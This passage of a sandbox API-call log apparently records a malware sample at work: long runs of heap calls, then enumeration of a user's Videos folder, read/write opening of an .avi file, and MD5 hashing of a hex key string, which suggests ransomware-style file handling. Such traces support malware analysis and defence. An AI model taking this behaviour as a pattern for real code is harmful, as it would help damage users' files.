HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.572] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.572] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.573] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.573] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.574] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.574] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.575] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.575] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.576] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.576] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.577] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\") returned="TtcUW\\" [0121.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.577] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0121.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde950 | out: hHeap=0x5e0000) returned 1 [0121.577] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0121.577] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.577] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.577] PathFindFileNameW (pszPath="") returned="" [0121.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.577] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1acb2180, ftCreationTime.dwHighDateTime=0x1d4c753, ftLastAccessTime.dwLowDateTime=0xaad9ca0, ftLastAccessTime.dwHighDateTime=0x1d4c817, ftLastWriteTime.dwLowDateTime=0xaad9ca0, ftLastWriteTime.dwHighDateTime=0x1d4c817, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.577] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1acb2180, ftCreationTime.dwHighDateTime=0x1d4c753, ftLastAccessTime.dwLowDateTime=0xaad9ca0, ftLastAccessTime.dwHighDateTime=0x1d4c817, ftLastWriteTime.dwLowDateTime=0xaad9ca0, ftLastWriteTime.dwHighDateTime=0x1d4c817, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.577] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5cc8dc0, ftCreationTime.dwHighDateTime=0x1d4c7f3, ftLastAccessTime.dwLowDateTime=0x37df80e0, ftLastAccessTime.dwHighDateTime=0x1d4cb9f, ftLastWriteTime.dwLowDateTime=0x37df80e0, ftLastWriteTime.dwHighDateTime=0x1d4cb9f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-ef3Wc3uX6CMMun91g7o.avi", cAlternateFileName="-EF3WC~1.AVI")) returned 1 [0121.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.577] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.577] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.577] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\-ef3Wc3uX6CMMun91g7o.avi") returned=".avi" [0121.577] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TtcUW\\-ef3Wc3uX6CMMun91g7o.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ttcuw\\-ef3wc3ux6cmmun91g7o.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.578] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=77015) returned 1 [0121.578] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.580] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12cb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.580] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.581] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.581] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.581] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.581] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x12cd7, lpOverlapped=0x0) returned 1 [0121.582] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.582] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.582] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.582] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.583] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.583] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.583] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.583] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.583] GetLastError () returned 0x0 [0121.583] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.583] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.583] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.584] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x12cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.584] lstrlenA 